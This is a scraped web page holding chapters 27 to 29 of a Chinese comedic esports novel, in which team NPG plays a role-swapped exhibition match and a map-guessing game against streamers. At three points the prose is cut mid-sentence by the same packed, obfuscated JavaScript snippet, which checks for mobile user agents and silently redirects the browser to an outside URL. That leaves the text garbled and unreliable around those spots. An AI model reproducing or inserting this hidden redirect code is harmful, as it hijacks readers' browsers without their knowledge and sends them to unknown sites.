好在八卦最严厉的父亲李扶砚只知道他试图网恋,而目前唯一目击到端倪的林冬均又是个傻子,一切证词不予采信。 下午队友们陆陆续续来齐,陈铎监督来宿舍给他们开了个小会,交代未来一周的安排。 宋澈点开日程表PDF,本应排满训练赛的一行空出了一格。 陈铎布置任务,“训练赛临时取消一次,按照我们和直播平台的合同,每赛季要参与两次他们组织的水友赛和主播赛。我让他们安排在明天晚上,刚收假,给你们调整手感。” NPG的直播约签给了综合化程度最高的直播平台Nexus,按照赛训组的说法,他们主要是图Nexus要求的直播时长短。 谢予辞问,“今年平台没提前做宣传?” 陈铎点头,“Nexus正在办主播杯,明天是决赛,到时候你们直接空降出场跟冠军队打。当然,他们自己的主播今晚也会提前知道。” 李扶砚表忠心,“保证演得明明白白,给他们看看收视冠军的节目效果。” 没等宋澈细问,谢予辞就开始给上辅二人解释,“春季通常是跟Nexus的签约主播队打一场BO3娱乐赛,赛制会很有趣的。” 陈铎点头,“剩下两局的赛制他们还没发来,但第一把一般是强制换位, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278611|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具体分配你们现在就可以先自己商量下。” “什么叫强制换位?” “字面意思,Carpet不许打野,Vale不许中单,以此类推。” “那宋澈没地方去了啊,去哪里哪里炸。”李扶砚扼腕。 宋澈质疑说,“你?看不上我?” 李扶砚评价,“跟你这种逃避对线的人说不清楚,每天就在野区里打打AI,哪懂我们的辛苦。” 宋澈淡然指出其中问题,“只有你没资格说这个。” 林冬均正色,“你懂什么,下路对线看辅助!” 把把二打一,素质极差! 林冬均举手问,“今年我可以打中单吗?” 李扶砚好奇道,“没见你有空练啊,你会玩什么中单?” 林冬均被深深问倒了,“我想想。” 周衡插嘴道,“我建议冬均打辅助,他的英雄池里至少有个赛娜。” 林冬均纠正,“赛娜虽然是辅助英雄,但我只会AD赛娜。” 周衡更乐,“除了叫法不同,这两者有区别吗?你去辅助肯定能凭熟练度大放异彩。” ADC没绕过这个弯,安静了三秒钟,迟疑地说,“好像有点道理。” 谢予辞可惜道,“冬均辅助啊,那我只好去打野了。” 周衡问,“予辞,你不想玩线上吗?” “嗯,打线没意思,再说我最近有练打野。” 上次不是还说在练中路芸阿娜吗?看来Vale大人的练英雄速度已是量子阅读级别,恐怖如斯! 周衡确认道,“练的什么?” 谢予辞跃跃欲试道,“练惩戒的按键位置。” 宋澈差点笑出声。 周衡摸了摸下巴,“那我打AD吧,至少我会补刀。” 话到这里,宋澈霎时间懂得了上单的全盘布局,并在心里把周衡的危险等级悄悄提高。 在周衡能选的四个位置中,中单容易翻车,打野太累,辅助没存在感,而AD无疑是最适合的。既然想选AD,就要给自己物色一个合适的辅助。 谢予辞辅助爱上头峡谷闻名,林冬均的辅助水平如何不得而知,但长期走下的他水平和理解不会太差,十分方便AD开混。 “等等,你们分得太快了,那我要去上单。”李扶砚两害相权取其轻,“玩辅助天天的帮完这个帮那个,好想体验一次当瞎子不看小地图的人生。” “喂,这话说得我伤心了。”周衡无奈。 所以在不知不觉间,留下的位置便只有—— 宋澈指着自己说,“我打中单?” 刚被区区辅助鄙视了一通对线能力,现在直接把他扔到中路这个天才遍地走的六边形怪物聚集地? 谢予辞不太确定地安抚,“嗯,小澈的中单一定很厉害。” 宋澈姑且认为予辞哥是在试图捧杀他。 李扶砚总结道,“所以最终分配是上单我,打野予辞哥,中单宋澈,AD周衡,辅助冬均?” 陈铎回答,“对。” 不知是谁先问出了一句,“这阵容能赢吗?” 陈监督说,“不知道,但收视率肯定能赢。” 陈监督走后,宋澈又看了遍定下的安排。 打野 Vale,中单Carpet。 位置互换,ID挨在一起。 一旁的李扶砚面露难色,“咦——宋澈,你想什么呢,对着工作短信还能脸红?” 什么变态啊? 28. 第 28 章 翌日傍晚,Nexus的官方直播间热度早已被主播杯决赛炒了起来。最近正经联赛都在放假,周末闲来无事想吃点好的的观众们纷纷端碗涌入。 一场能解决世界粮食危机的精彩对局后,分会场座机镜头捕捉了五位主播振臂高呼的珍贵画面。 【我们又是冠军!】 【把NPG叫来!我让你把NPG叫来!】 观众正准备切屏去评分,就见直播间标题变了。 “大战!主播杯冠军挑战赛!” 弹幕不明所以。 镜头中,几位工作人员从主播手中取走了从楼下打印店借来的奖杯,把他们一一按回电脑桌前。 【什么意思?这小破节目还有踢馆歌手???】 【不要吧,决赛打完已经油尽灯枯了,随时会鼠鼠】 【你这话说的,有点信心啊!主播杯冠军也是冠军!就不能是我们踢死来者吗?】 观众们插科打诨不亦乐乎,都以为这只是水友赛性质的余兴节目,当NPG五人的ID出现在屏幕上时,整个直播间瞬间被铺天盖地的问号淹没。 【啊?真能给我叫出来啊】 【冠军挑战赛是指我们去挑战世界冠军?】 【胜算几何!】 【一九开】 【跟NPG打完这一场,主播直接含笑九泉?】 直播间人数倍速攀升,一声穿云箭,白子黑子串子齐聚一堂! “卧槽,真的是NPG!”一位主播火热开演,状似激动地站起来。 主播队AD拍案,“我避他锋芒?兄弟们上个牌子,证道之日就在今天!” 已经戴上耳机做好准备的林冬均小声嘀咕,“这些人演技还不错,好像真不知道似的。” 谢予辞善意提醒,“冬均,你开的是公共麦。” Nexus专门找来了位裁判兼职主持人,她职业素养过硬,面对一团乱麻还能迅速控场,“欢迎NPG的选手们!主播杯冠军队伍收获的第一项神秘奖励现在兑现,他们将有机会挑战职业战队!” 【奖励挨揍,真有你的Nexus】 【善有恶报啊!越努力越不幸!】 “不过——”主持人话锋一转,“为了公平起见,职业选手们需要强制换位!” 不给观众们反应的时间,BP页面直接弹出,顶着上单位置的Sapce一楼秒选赛娜。 【我是白子,不知道该从哪吐槽,但这玩意有人会跟你们抢吗?】 【稍作犹豫就玩不到伟大的涤魂圣枪了。】 NPG看不见弹幕,他们一味地热火朝天讨论BP。 BP阶段,NPGBan掉了三个前期Gank能力强的打野英雄。 谢予辞睁大眼睛,“我打野玩得真的很好,不用这么照顾我。” 剩下三个人不想伤队长大人的心,强迫宋澈出面做恶人,“予辞哥,这三个英雄不是Ban对面的。” 我们是怕你选了之后带崩三路啊! 林冬均在手机上研究辅助赛娜的英雄攻略,纠结到底要不要第一件就按推荐出收集者。 李扶砚则盘算着自己的英雄池发愁,“他们BAN奥恩塞恩石头人是不是有点太针对我了!” 宋澈提建议,“拿个坦克混?” “去去去,我们辅助没有混子!” 谢予辞鼓励,“扶砚,选个对线能力强,打团用处大的。” 予辞哥,这是BP,不是许愿! “既然这样......”李扶砚思考三秒,让谢予辞帮他锁下索拉卡。 嘘,没被邪恶紫皮香蕉女恶心过的上路玩家不要说话!吃我一发流星坠落啊! “小澈,你有想好吗?”谢予辞问完右边问左边。 宋澈非常纠结,他的中单英雄池里只有岩雀,还被对面抢了,“予辞哥帮帮我吧。” 谢予辞凑过来捣鼓,锁下了托着法球的大尾巴狐狸。 “果然是阿狸。”宋澈并不惊讶。 九尾妖狐阿狸是一位灵巧的法师型刺客,也是谢予辞十分擅长的英雄之一。 “阿狸很像小澈给我的感觉。”谢予辞一笑,“我们心有灵犀,不是吗?” 二轮BP,周衡直接摊牌,“寒冰、卢锡安、女警、卡莉斯塔、薇恩,我英雄池太浅,冬均你选一个吧。” 不,作为一位上单,你的英雄池过于深了。 宋澈头疼,感谢周衡没拿这些东西折磨队友。毕竟如果他遇上了对手的上单是AD,保底每三分钟去一次。吃完野怪就抓了,顺手的事。 林冬均说,“那就卡莉斯塔吧,保排能力比较强。” “那我就要瑞兹,团战输了的时候跑在最前面。”谢予辞开玩笑。 “予辞哥,我也要上车。”李扶砚申请。 “没有车票的乘客不许来哦~” 面对NPG的抽象阵容,主播队简直像在打S赛决赛,狼母、赵信、岩雀、霞、洛一出,宋澈觉得自己已经走远了。 于是他把主要精力放在了对比阿狸的几款皮肤哪个最好看。 有点想选Vale的冠军皮,又没什么自信能秀起来。 似乎是察觉到了他的犹豫,身旁的谢予辞轻轻碰了碰他的手肘,“没事,批准你选了,等打不过了咱们两个就开车逃走保KDA,他们三个绝对跑不过我们。” “好。” 原来什么都不需要做就能收获上车资格。 “欢迎来到召唤师峡谷!” 瑞兹开局直接上线中路,强行帮宋澈的狐狸推了一波兵,光明正大地走进对面蓝buff野区插眼,最后心满意足地回自己家红buff开。 对面的赵信:? 世一中此番操作必有深意,总不能是告诉全世界他要来逛街了吧! 【瑞兹打野推荐配装第一件什么时候改成的学识宝石?】 【这是Vale给Carpet的考验】 【等我狸救世】 宋澈哭笑不得,只能在竭力打出夹杂了八百个平A的连招之余小心翼翼地补刀,生怕对面的中野前期变奏就来找他麻烦。 他可还没放弃想C予辞哥的心呢! 上路李扶砚仗着手长和Q技能的回血,不停地用普攻和技能消耗拉扯,等对方受不了想冲上来就脚下放E沉默拉开。 职业选手在基本功上可谓碾压,然而上路有的是人情世故。对面打野升到三级直接来到上路提款,索拉卡连闪现都没交出来就送出了一血。 First Blood! 不知从哪冒出来的解说道,“上单索拉卡成型快,团战有发挥,最大的缺点是没伤害且单线笨重,对面敢来就敢死。” 乍一看搞得挺正规,但为什么他可以单向听到无延迟版?这是在YY大厅解说的吗?! “周衡!你怎么不来支援我!”李扶砚阵亡后第一时间压力队友,也不管对方玩什么位置。 正在下路专心补刀的周衡游刃有余地回答,“卡莉斯塔被动跳得我有点眼晕,看不了小地图。” 辅助或许会因为没保护下队友默默自责泪目,而自私的上单们从不! Top Never Cry. 瑞兹还在刷野! 等谢予辞好不容易打算出山,索拉卡已经枯守自闭草丛很久了。 此时下路双人组凭借双射手的优势稳拿线权,而宋澈被压在塔下奄奄一息。 惊险地躲掉对面中野的追杀,扭身藏进野区,宋澈只听谢予辞招呼他,“小澈,上车!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278612|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他没有任何犹豫直接走进了曲径折跃的光圈。 【不要去,是黑车啊!!】 瑞兹的大招带着中野两人直接流浪到敌方下路一塔和二塔之间,正撞到对面霞洛脸上。 霞洛喜不自胜! 就是你们要越霞洛的塔是吧!正愁没钱发育呢! 塔下兵线还差一点才能推进来,霞洛一套小情侣组合拳,打得残血岩雀和没补装备的瑞兹晕头转向。 Double Kill! 霞施施然抖抖羽毛。 【中野联动一死一送】 【Vale人太好了,自己想快速回城还不忘带上Carpet,这就是羁绊!】 宋澈看着自己灰掉的屏幕,努力绷住嘴角看向身边的谢予辞。 谢予辞也正在强憋着笑,肩膀一抖一抖的,见宋澈看过来终于忍不住。 “抱歉小澈......我、我本来是想传河道。”谢予辞喘不过气。 “予辞哥,你根本就是在演我。”宋澈嘴角跟着上扬。 上路已经提不出钱后,赵信又开始频繁光顾下路,霞洛靠中野硬送的头发育了一大口,周衡和林冬均便顺水推舟被对方通关。 唯一看似正常的居然是谢予辞和宋澈,两人竟真的打出了一些像模像样的配合。 阿狸这个英雄如果装备没有领先,输出就完全是刮痧,团战中更是需要操作者有很高的魅惑技能命中率,而宋澈的熟练度胜过黄金有限。 但他们有办法。 宋澈的E技能命中率太低,就由谢予辞先闪现禁锢住对手,狐狸接上魅惑木已成舟AQARAWARAWARA—— 两人技能灌上去也能秒掉对面的AD。 谢予辞得意洋洋,“看到没小澈,我们的中野还是有强度的。” 宋澈赞美,“予辞哥说得都对。” 手上悄悄K掉了人头。 比赛进行到三十分钟,双方高地塔破得七七八八,这一回合轮到NPG防守。 “该收个汁了吧?这局我屏幕一半时间都是黑的。”李扶砚有气无力地问。 “不行!”林冬均第一个反对,“我的赛娜还没成型!” 宋澈说,“建议你等下一世,效率更高。” 就在五人对台本时,对面主播队抱团从中路迫近,试图一波结束比赛。 谢予辞正一个人在上路带线,稳定军心道,“我还有大招,你们守住,我先不回家。” 予辞哥,别发育了,真挺吓人的。 瑞兹的大招再次亮起,这一次目标是对面门牙塔。 【有偷子!!!】 【保卫萝卜,启动!】 瑞兹的车带去了一大波做好的线,大招结束瞬间TP亮起,阿狸当仁不让地传送跟团,假小兵之威暴揍水晶! 主播队被这突如其来的偷家打蒙了,等他们回过神来为时已晚。 “我们赢了不会被扣钱吧?”手上打断完,李扶砚迟疑地问。 林冬均只顾着兴奋,“赢了!” 主播队四人被留下,只剩岩雀成功回城,却还是呆得像鸟一样,无力阻止NPG中野二人。 解说还在遗憾,“游戏结束前的最后一次魅惑!——Carpet又没亲到!!” 好了Carpet知道了,你不用再说了! 弹幕锐评,【鉴定为纯情狐狸。】 点爆水晶后,中单从容摘下耳机,严肃地说,“根据以往表现来看,小澈的亲确实略失水准。” 其他队友不明所以,只有宋澈手都不稳了,“予辞哥!” 【不敢赢???】 【误会解除!】 【偷家不算!能不能再打一把!我的厌食症马上就要痊愈了!求你们了!】 29.第 29 章 谢予辞转头和临时上单李扶砚夸耀瑞兹完美运营,完全看不出刚才做出了公然调戏小孩的恶劣行径。 怎么回事啊这个人!明明昨天还在数落胡乱出招的打野,现在又是何意味? 宋澈偷偷按住胸口,掩饰自己快要跳出胸膛的心。 弹幕还在狂串,第二轮规则已经宣布。 主持人介绍道,“接下来是我们特别准备的召唤师峡谷地理知识竞赛。” 【细嗦!】 屏幕切换出一张召唤师峡谷的完整地图,随即镜头拉近,聚焦在某个局部区域的特写上。 “屏幕上会显示峡谷地图的某个局部放大特写,选手需要在完整小地图上标出这个位置。系统会计算标记点和正确答案的距离,距离越短得分越高。五轮过后,总分高的队伍获胜。” 由于经费不足,压根不打比赛了! LoL Guessr来袭! 【这个有意思啊!】 【考验对地图的熟悉程度?那职业选手肯定闭着眼睛都能找到啊?】 【那是你没仔细看过拳头的绝赞贴图,一放大全世界长得都一样!】 原教旨主义者林冬均嗤之以鼻,“要打就好好打。” 李扶砚跨越全世界也要游走Gank他,“你还狂上了?” 林冬均问,“扶砚哥,这有什么难的?” 主持人也听到了他的豪言壮语,“看来Rainstorm很有信心啊,那么这一局要不要第一位出战?” 周衡发扬了孔融让梨的精神,“可以,让AD和打野先上吧,你们俩肯定对地图最熟。” 打野就算了,凭什么AD会对地图熟?难道只是因为ADC不论给什么都吃吗! 谢予辞弯起眼睛,看向宋澈,“小澈,怎么样?要不要去试试?” 宋澈还没从略失水准的锐评里缓过神来,此刻闻言下意识点头,“没问题予辞哥,我能赢。” 这话说得太满,以至于几分钟后,当第一张图片出现在屏幕上宋澈的表情就尴尬地凝固了。 图中光是右上角的松树就占据了半个屏幕,松树下点缀了几朵大小不一的黄色蘑菇。一堵墙从左上到右下把剩下半个屏幕遮得七七八八,视角小得连墙上有没有火盆都不知道。 疑似Nexus把NPG当翠神整。 宋澈哪知道峡谷里的每棵树朝那边长?英雄联盟没有园丁这个角色! 主持人没眼色地开始吹捧他,“NPG首先派出了纵横峡谷的掌控者!打野选手迎战!想必这对Carpet选手而言只是热身而已吧。” 宋澈死死盯着小地图。 这谁看得出来,能不能来个二向箔把他也打进地图里去? 没想到他认真训练准备,最后却因为图推题输掉比赛。 见他沉默,李扶砚不怀好意地上压力,“遇到难回答的问题怎么不说话了?” 宋澈动用逻辑思维推断,树在右上,墙在左下,说明—— 说明什么?他不知道啊。 宋澈随手点了个红色方下路一塔后的草丛,这是他最有安全感的位置,每次三级从这里出击都能从对手AD身上收获稳稳的幸福。 “确定吗?”主持人不怀好意。 宋澈不确定,只是没招了。 “确定。” 下一秒,一条横跨三分之二峡谷的鲜明黄线横亘在地图上。 【NPG Carpet:7349px】 【Nexus 1:1205px】 一时无人出声。 【请问这是团战伤害面板吗?可以啊Carpet大人!】 【好安静,太恐怖了。】 辅助第一个回过神来喷麦。 “你搁召唤师峡谷重建万里长城呢?!谁家堂堂卫冕冠军要从第一轮就开始算分啊!”李扶砚破大防。 “......我也不想的。” 弹幕没素质地落井下石。 【哈哈哈哈哈笑死】 【这就是你的理解吗澈哥?】 【肌肉记忆代替思考,打野就是要往对面下路组身后的草里钻啊!】 单线组品味暗自萎靡的打野和崩溃的辅助脸上的表情,笑得不可开交,完全没有承担家庭责任的意思。 忙内挺身而出。 林冬均坐在屏幕前,“扶砚哥,别着急,我来。” AD抿着嘴,灯光打在他身上的阴影让未消去的婴儿肥没那么明显,倒有几分宣传片里锐不可当的样子。 Round2,地图重新生成。 这次出现在眼前的图片跟刚刚一样抽象,只有半截墙和一颗松树的下摆。 与刚刚出场的打野形成鲜明对比,几乎没怎么犹豫,林冬均直接点选了蓝色方六鸟坑距离中路二塔最近的墙体。 主持人这次没卖关子,选择变奏直接公布答案:“让我们来看看双方的成绩——” 【NPG Rainstorm:4px】 【Nexus 2:2971px】 林冬均的标记的点只差几像素就能跟标准答案完美重合! 准备看笑话的队友们瞠目结舌! 【这就是我们NPG的天才ADC!】 【站在你面前的是NPG青训免试天才,上赛季赛区最佳新人,春夏季赛一阵AD,还不知道什么AD皮肤拥有者,洗净万物的雨之守护者——Rainstorm!!】 周衡问,“厉害啊冬均,这是怎么猜到的?” 林冬均抬眼看自己的辅助,“看墙的朝向排除掉所有横向墙体,厚度和形状可以排除所有大型墙体。 墙左下角露出了一点道路的棕色贴图,我重点考虑了跟三线相接的位置,综合形状确定在中路。最后确定是靠这个火盆。” 林冬均放大图片,其他四个人脑袋凑过去听他讲。 林冬均不吝惜地分享经验,“输团逃跑的时候,如果因为顺便吃了六鸟被对手追上,一定要注意在这闪现过墙鼠标不能放在火盆上,会撞。” 几个人面面相觑,还是宋澈先开口感慨,“你挺适合NPG的。” 怪不得小小年纪就能稳坐首发,成为冠军AD,只怕是貔貅队迎来了属于自己的饕餮了。 偷吃里是有个偷字的,拜托能不能不要这么光明正大? 谢予辞自言自语,“锋喙鸟被冬均吃了?不应该啊,我是哪次落下了......” 眼看双C之一追回了些优势,第三轮中单大人趁热打铁登场。 第三张图拉得更近,画面正中是一朵不起眼的蓝色小花,生长在一块绿色的草地上,除此之外没有任何标志物。 谢予辞看了两秒,果断回头,用手捂着摄像头朝宋澈的方向比划口型。 剩下三人没能第一时间反应过来。 “这是……哪里?”只有宋澈注意力集中,复述出来,“我不知道。” 谢予辞眼睛一亮,连连点头。 “这是哪里我不知道。” 宋澈又念了一遍。 谢予辞期待地看着他。 “......这是哪里我不知道。”宋澈说。 谢予辞面色灰败。 主持人发现了黑屏情况,立马逮捕,“Vale选手!请不要遮挡镜头蒙混过关!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282989|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “抱歉抱歉。”谢予辞放下手,点了他认为可能性最大的河道,英勇就义。 双方确定完毕,屏幕画面一转正确答案揭晓,那朵蓝色小花居然生长在蓝方门牙塔前的地上。 【NPG Vale:3690px】 【Nexus 3:9880px】 对方主播猜出了花在门牙塔,但不幸赌错红蓝方,NPG靠对手失误取得了巨大领先! 【Valeeeeeeeeeeeeeeeeee!】 【天命在我!!】 【翻盘了!】 粉丝们仍在热血沸腾,3000px的距离优势被从不令人安心的NPG转手送了。 上辅均匀地各送2000px,助力主队饮恨。 NPG转瞬即逝。 【对胃了。】 【对的对的,小游戏坑得一批,这才是我熟悉的NPG。】 不等主持人cue流程,NPG自觉进入甩锅模式,五人你看看我我看看你,都不想率先出列。 李扶砚率先发难,“宋澈,这锅你背没意见吧。” 宋澈问,“你后面没送?”打野开局不利,后面队友也干了啊! “没送,下路组算平均数。”不等李扶砚反驳,林冬均直接捐躯赴难。 另外一大狼人周衡跟票,“而且宋澈是第一个送的,性质恶劣,差点直接把我们送进深渊了。” 【NPG传统艺能窝里斗,321开团!】 【笑得想死,Carpet那条线一出来每个人的表情focus我能看一百遍。】 【为节目效果牺牲罢辽!】 【输了就说节目效果,那我下次挂科可以说是为了拉高平均分的方差,守护同学的家庭和睦吗。】 谢予辞在一旁看着他们闹,宋澈求助地看向他,中单却摊开手做了个无能为力的手势。 宋澈委屈,“予辞哥,你怎么也不帮我?” 他们CB线的下路组都明目张胆地合起伙来了,真正的主CP中野得奋起啊! 谢予辞领会了他的控诉,“小澈那个位置选得也挺有道理的,毕竟是他最喜欢蹲的草丛嘛,我觉得很可爱。” 这话一出,其他三人齐刷刷地看向他。 李扶砚狐疑地眯起眼,质问宋澈,“你们俩今天有点不对劲,你是不是又给予辞哥添麻烦了?” 不等宋澈回答,谢予辞神色自若地接过,“不对劲?有吗?” 林冬均皱眉,“气氛是有点怪怪的。” “你就别凑热闹添乱了。”见林冬均附和,李扶砚立马觉得是自己想多了,高抬贵手轻轻放过了他们。 社会化程度最高的上单若有所思地看了看两人,最终什么也没说。 主持人适时切入打断了NPG的小品,“接下来我们进行第三局,也是本次挑战赛的决胜局!峡谷判官! 系统将播放一段长度约三十秒的玩家对局或团战录像,在关键时刻暂停,选手需要判断该情景的后续走向,先拿下三胜的队伍获胜!” 李扶砚立刻恢复了信心,“这个简单,不就是看录像复盘吗,予辞哥和我都是专业。” “是吗,呵呵。”主持人阴险地笑,“经验派选手会不会carry,谁知道呢。” “这次每队只能派两个人上场,一旦输掉其中一人要接受惩罚,NPG打算派谁出战?” 林冬均还陶醉在自己上一把的人设中不可自拔,自告奋勇道,“我的字典里没有退缩两个字。” 宋澈好奇地偷偷问中单,“予辞哥,林冬均没上过小学?” “啊,没有吧?”谢予辞惊讶。